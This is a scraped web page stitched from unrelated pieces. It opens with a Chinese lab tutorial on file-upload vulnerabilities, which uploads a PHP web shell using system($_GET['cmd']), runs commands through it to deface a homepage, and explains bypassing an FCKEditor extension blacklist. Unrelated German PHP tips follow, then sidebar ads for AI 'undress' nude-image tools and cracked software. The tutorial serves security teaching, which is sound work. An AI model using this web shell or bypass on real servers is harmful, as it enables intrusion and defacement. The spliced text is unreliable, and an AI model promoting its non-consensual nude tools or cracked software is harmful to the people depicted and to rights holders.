原理
文件上传是Web应用中经常出现的功能,它允许用户上传文件到服务器并保存到特定位置。这对安全来说是一个很敏感的问题,一旦恶意程序被上传到服务器并获得执行权限,后果将不堪设想。因此绝大多数的Web应用都对文件上传功能有很多限制。文件上传漏洞指攻击者利用程序缺陷绕过系统对文件的验证与处理策略将恶意程序上传到服务器并获得执行服务器端命令的能力。这种攻击方式直接、有效,在对付某些脆弱的系统时甚至没有门槛。
文件上传漏洞的常见利用方式有:
上传Web脚本程序,Web容器解释执行上传的恶意脚本。
上传Flash跨域策略文件crossdomain.xml,修改访问权限(其他策略文件利用方式类似)。
上传病毒、木马文件,诱骗用户和管理员下载执行。
上传包含脚本的图片,某些浏览器的低级版本会执行该脚本,用于钓鱼和欺诈。
总的来说,利用的上传文件要么具备可执行能力(恶意程序),要么具备影响服务器行为的能力(配置文件). 为了实现一次攻击利用,必须要满足以下条件:
文件能通过前端和后端的过滤和文件处理.
文件内容不会被改变,能够被正确的存储
存储位置是在Web容器控制范围
攻击者有权限访问存储目录
我们通过实验来演示利用方式一,包含以下材料:
regist文件夹(存在漏洞的eb应用)
hacker.php(待上传的恶意脚本)
hacked.html (黑页待替换的新主页)
使用以下命令下载实验材料到虚拟机任意目录下并解压.
wget http://labfile.oss.aliyuncs.com/courses/443/stuffs.tar.gztar -xzf stuffs.tar.gzcd stuffs
1.部署web应用
将regist文件夹拷贝到/var/www/html/目录下
sudo cp -R regist /var/www/html/
regist文件夹的目录结构如下
index.html (前端注册页面)
regist.php (后台注册处理程序)
upload/ (文件上传目录)
css/ (样式文件目录)
fonts/ (字体文件目录)
js/ (脚本文件目录)
修改目录权限:
sudo chmod 777 /var/www/html/regist -R启动Apache2服务
sudo service apache2 start
2.上传恶意脚本程序
这是一个常见的新用户注册页面,我们随意填写注册信息.我们注意到,虽然这个页面对用户输入的文本信息有较为仔细的校验,但是并没有对上传头像的类型进行严格的检查,这是非常危险的行为.在上传头像处选择事先准备好的恶意PHP程序hacker.php.确认无误,点击注册.(用同样的方法上传hacked.html)
3.访问脚本程序
通过目录结构知道上传后的文件被存储在upload/目录下.上传的PHP文件可以通过在浏览器地址栏中输入http://localhost/regist/upload/hacker.php来访问
hacker.php源代码如下:
cmd:
result:
事实上,你可以在脚本文件中编写任意你喜欢的代码,只要构造得当并能够被顺利执行.
核心代码system($_GET['cmd']);调用php系统函数system来执行linux系统命令,命令从GET请求中的cmd参数获取.这意味着我们可以在当前用户权限下执行任意的linux命令,就像操作本地计算机一样.先测试一下恶意程序能否正常运行:
http://localhost/regist/upload/hacker.php?cmd=whoami
运行成功,这也意味着后端负责上传功能的程序模块没有对上传文件做有效的过滤和处理.接着,我们使用上传的hacke.html页面来替换网站首页:
http://localhost/regist/upload/hacker.php?cmd=mv hacked.html ../index.html
再次访问Web应用localhost/regist,刷新页面,发现替换成功,页面显示"You Are Hacked".
注意,这里需要将hacked.html上传至 /upload目录下
思考与扩展
1.类型检查
实验步骤中的网站前端部分没有对文件上传做有效的过滤与处理,同类的著名漏洞还有FCKEditor文件上传漏洞,FCKEditor是一款非常流行的富文本编辑器,某个PHP版本出过一个文件上传类型检查的漏洞,相关代码如下:
$Config['AllowdExtensions']['File'] = array();//允许上传的类型$Config['DenedExtensions']['File'] =array('php', 'php3', 'php5', 'phtml', 'asp', 'aspx', 'ascx', 'jsp', 'cfm', 'cfc', 'pl','pl','bat', 'exe', 'dll', 'reg', 'cgi' );//禁止上传的类型
可以看到,代码针对文件类型进行了检查,但使用了黑名单方式,所以如果我们使用php2、inc等类型名时就可以通过类型检查.另外,对于前端校验,在通常情况下可以通过修改或伪造POST包来绕过。
2.权限需求为了达到攻击效果,实验步骤简化了一些复杂的细节.一些关键步骤都涉及到了操作权限.步骤对应所需的权限如下表:
步骤或操作 权限要求
[1] [2] 下一页

PHP -Typ -Eingabeaufforderungen zur Verbesserung der Codequalität und der Lesbarkeit. 1) Tipps zum Skalartyp: Da Php7.0 in den Funktionsparametern wie int, float usw. angegeben werden dürfen. 3) Eingabeaufforderung für Gewerkschaftstyp: Da Php8.0 in Funktionsparametern oder Rückgabetypen angegeben werden dürfen. 4) Nullierstyp Eingabeaufforderung: Ermöglicht die Einbeziehung von Nullwerten und Handlungsfunktionen, die Nullwerte zurückgeben können.

Verwenden Sie in PHP das Klonschlüsselwort, um eine Kopie des Objekts zu erstellen und das Klonierungsverhalten über die \ _ \ _ Clone Magic -Methode anzupassen. 1. Verwenden Sie das Klonschlüsselwort, um eine flache Kopie zu erstellen und die Eigenschaften des Objekts, nicht die Eigenschaften des Objekts zu klonen. 2. Die \ _ \ _ Klonmethode kann verschachtelte Objekte tief kopieren, um flache Kopierprobleme zu vermeiden. 3. achten Sie darauf, dass kreisförmige Referenzen und Leistungsprobleme beim Klonen vermieden werden, und optimieren Sie die Klonierungsvorgänge, um die Effizienz zu verbessern.

PHP eignet sich für Webentwicklungs- und Content -Management -Systeme, und Python eignet sich für Datenwissenschafts-, maschinelles Lernen- und Automatisierungsskripte. 1.PHP hat eine gute Leistung beim Erstellen von schnellen und skalierbaren Websites und Anwendungen und wird üblicherweise in CMS wie WordPress verwendet. 2. Python hat sich in den Bereichen Datenwissenschaft und maschinelles Lernen mit reichen Bibliotheken wie Numpy und TensorFlow übertrifft.

Zu den wichtigsten Spielern in HTTP-Cache-Headern gehören Cache-Control, ETAG und Last-modifiziert. 1.Cache-Control wird verwendet, um die Richtlinien zu kontrollieren. Beispiel: Cache-Control: max-ay = 3600, öffentlich. 2. ETAG überprüft Ressourcenänderungen durch eindeutige Identifikatoren, Beispiel: ETAG: "686897696A7C876B7E". 3. Last-modifiziert gibt die letzte Änderungszeit der Ressource an, Beispiel: Last-Modified: Mi, 21okt201507: 28: 00GMT.

In PHP sollten die Funktionen für Passwort_Hash und passwart_verify verwendet werden, um sicheres Passwort -Hashing zu implementieren, und MD5 oder SHA1 sollte nicht verwendet werden. 1) Passwort_hash generiert einen Hash, der Salzwerte enthält, um die Sicherheit zu verbessern. 2) Passwort_Verify prüfen Sie das Passwort und sicherstellen Sie die Sicherheit, indem Sie die Hash -Werte vergleichen. 3) MD5 und SHA1 sind anfällig und fehlen Salzwerte und sind nicht für die Sicherheit der modernen Passwort geeignet.

PHP ist eine serverseitige Skriptsprache, die für dynamische Webentwicklung und serverseitige Anwendungen verwendet wird. 1.PHP ist eine interpretierte Sprache, die keine Zusammenstellung erfordert und für die schnelle Entwicklung geeignet ist. 2. PHP -Code ist in HTML eingebettet, wodurch es einfach ist, Webseiten zu entwickeln. 3. PHP verarbeitet die serverseitige Logik, generiert die HTML-Ausgabe und unterstützt Benutzerinteraktion und Datenverarbeitung. 4. PHP kann mit der Datenbank interagieren, die Einreichung von Prozessformularen und serverseitige Aufgaben ausführen.

PHP hat das Netzwerk in den letzten Jahrzehnten geprägt und wird weiterhin eine wichtige Rolle bei der Webentwicklung spielen. 1) PHP stammt aus dem Jahr 1994 und ist aufgrund seiner Benutzerfreundlichkeit und der nahtlosen Integration in MySQL die erste Wahl für Entwickler. 2) Zu den Kernfunktionen gehört das Generieren dynamischer Inhalte und die Integration in die Datenbank, sodass die Website in Echtzeit aktualisiert und auf personalisierte Weise angezeigt wird. 3) Die breite Anwendung und das Ökosystem von PHP hat seine langfristigen Auswirkungen angetrieben, steht jedoch auch mit Versionsaktualisierungen und Sicherheitsherausforderungen gegenüber. 4) Leistungsverbesserungen in den letzten Jahren, wie die Veröffentlichung von PHP7, ermöglichen es ihm, mit modernen Sprachen zu konkurrieren. 5) In Zukunft muss PHP sich mit neuen Herausforderungen wie Containerisierung und Microservices befassen, aber seine Flexibilität und die aktive Community machen es anpassungsfähig.

Zu den Kernvorteilen von PHP gehören einfacher Lernen, starke Unterstützung für Webentwicklung, reiche Bibliotheken und Rahmenbedingungen, hohe Leistung und Skalierbarkeit, plattformübergreifende Kompatibilität und Kosteneffizienz. 1) leicht zu erlernen und zu bedienen, geeignet für Anfänger; 2) gute Integration in Webserver und unterstützt mehrere Datenbanken. 3) leistungsstarke Frameworks wie Laravel; 4) hohe Leistung kann durch Optimierung erzielt werden; 5) mehrere Betriebssysteme unterstützen; 6) Open Source, um die Entwicklungskosten zu senken.


Heiße KI -Werkzeuge

Undresser.AI Undress
KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover
Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool
Ausziehbilder kostenlos

Clothoff.io
KI-Kleiderentferner

AI Hentai Generator
Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

Heiße Werkzeuge

ZendStudio 13.5.1 Mac
Leistungsstarke integrierte PHP-Entwicklungsumgebung

Senden Sie Studio 13.0.1
Leistungsstarke integrierte PHP-Entwicklungsumgebung

EditPlus chinesische Crack-Version
Geringe Größe, Syntaxhervorhebung, unterstützt keine Code-Eingabeaufforderungsfunktion

Sicherer Prüfungsbrowser
Safe Exam Browser ist eine sichere Browserumgebung für die sichere Teilnahme an Online-Prüfungen. Diese Software verwandelt jeden Computer in einen sicheren Arbeitsplatz. Es kontrolliert den Zugriff auf alle Dienstprogramme und verhindert, dass Schüler nicht autorisierte Ressourcen nutzen.

Dreamweaver CS6
Visuelle Webentwicklungstools